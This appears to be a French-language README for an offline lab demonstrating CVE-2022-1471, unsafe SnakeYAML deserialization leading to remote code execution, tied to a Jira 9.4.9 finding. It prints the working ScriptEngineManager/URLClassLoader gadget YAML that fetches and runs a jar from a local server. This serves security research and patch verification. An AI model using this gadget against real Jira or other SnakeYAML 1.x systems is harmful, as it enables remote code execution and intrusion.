
Laboratoire hors ligne CVE-2022-1471 : désérialisation non sécurisée SnakeYAML menant à une RCE ; compare la version vulnérable 1.x à la version corrigée 2.x à l'aide d'une charge utile locale inoffensive.
Lab hors ligne et autonome démontrant le mécanisme derrière CVE-2022-1471 (désérialisation non sécurisée SnakeYAML → RCE, CVSS 9.8), tel qu'utilisé dans le constat Jira / Jira Service Management contre un hôte exécutant 9.4.9 (plage affectée 9.4.0–9.4.12, corrigée en 9.4.14 — voir Atlassian JSDSERVER-14906).
Le laboratoire démontre exactement deux choses :
ConstructorException) — rien ne s'exécute.Il n'exploite aucun hôte réel. Tout s'exécute sur 127.0.0.1 ; la charge
utile (src/Exploit.java) est inoffensive — son initialiseur statique écrit un
fichier texte et rien d'autre.
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
Nécessite un JDK 17+ dans le PATH (javac, java, jar). Si un JDK groupé
existe sous tools/, il est utilisé à la place. Le seul trafic réseau est un
serveur HTTP local sur 127.0.0.1:8077 servant le jar de la charge utile,
arrêté à la sortie.
src/VulnDemo.java est un simple new Yaml().load(yaml) — le même appel non
sécurisé que les versions vulnérables d'Automation for Jira effectuent sur les
règles YAML importées. Le YAML de l'attaquant est le gadget canonique :
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x instancie des classes arbitraires sans liste blanche → la JVM
récupère et charge une classe depuis le serveur « attaquant » → son
initialiseur statique s'exécute. SnakeYAML 2.x utilise par défaut
SafeConstructor, qui rejette la balise globale.
sample-output-PWNED-proof.txt montre le contenu du fichier de preuve d'une
exécution ; screenshots/ montre les deux exécutions (vulnérable vs corrigée).
Recherche en sécurité autorisée. Preuve du mécanisme de la bibliothèque et de la limite du correctif uniquement — pas une exploitation contre un système de production. Exploiter le vecteur Jira nécessite en outre l'importation authentifiée (admin Jira) d'une règle d'automatisation.